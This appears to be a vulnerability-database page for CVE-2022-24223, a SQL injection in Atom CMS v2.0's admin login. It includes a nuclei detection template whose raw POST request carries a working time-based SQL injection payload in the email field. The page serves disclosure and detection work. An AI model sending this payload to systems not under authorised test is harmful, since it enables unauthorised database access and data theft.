Browse / CVEs / CVE-2022-24223
CVE-2022-24223· thedigitalcraft / atomcms· CWE-89
Atom CMS v2.0 - SQL Injection
criticalseverity
9.8CVSS score
62%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Fixed in version Atom CMS v2.1
How to confirm it
Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(body, "Admin Login") && contains(body, "Atom.SaveOnBlur")Run it with nuclei: nuclei -id CVE-2022-24223 -u <target>
The full check
id: CVE-2022-24223
info:
name: Atom CMS v2.0 - SQL Injection
author: theamanrawat
severity: critical
description: |
AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: Fixed in version Atom CMS v2.1
reference:
- https://packetstormsecurity.com/files/165922/Atom-CMS-2.0-SQL-Injection.html
- https://github.com/thedigicraft/Atom.CMS/issues/255
- https://nvd.nist.gov/vuln/detail/CVE-2022-24223
- https://github.com/ARPSyndicate/cvemon
- https://github.com/Enes4xd/Enes4xd
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-24223
cwe-id: CWE-89
epss-score: 0.61965
epss-percentile: 0.99184
cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: thedigitalcraft
product: atomcms
tags: time-based-sqli,cve,cve2022,packetstorm,sqli,atom,cms,thedigitalcraft,vuln
http:
- raw:
- |
@timeout: 10s
POST /admin/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
email={{randstr}}@gmail.com'+AND+(SELECT+2549+FROM+(SELECT(SLEEP(6)))LIzI)+AND+'uqzM'='uqzM&password={{randstr}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "Admin Login") && contains(body, "Atom.SaveOnBlur")'
condition: andReferences
- https://packetstormsecurity.com/files/165922/Atom-CMS-2.0-SQL-Injection.html
- https://github.com/thedigicraft/Atom.CMS/issues/255
- https://nvd.nist.gov/vuln/detail/CVE-2022-24223
- https://github.com/ARPSyndicate/cvemon
- https://github.com/Enes4xd/Enes4xd
Use this check only on systems you are authorised to test. Where the data comes from